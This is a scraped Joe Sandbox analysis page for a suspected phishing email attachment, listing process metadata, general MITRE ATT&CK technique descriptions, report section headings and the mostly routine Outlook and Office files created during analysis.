File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8DEE85F.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728327489591321700_8024F537-0BA6-46F2-B45B-1CCAE900E7AF.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728327489592183600_8024F537-0BA6-46F2-B45B-1CCAE900E7AF.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241007T1458090313-6928.etl

C:\Users\user\AppData\Local\Temp\~DF47940FB520C6617C.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Chrome Cache Entry: 149

Windows Analysis Report
FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg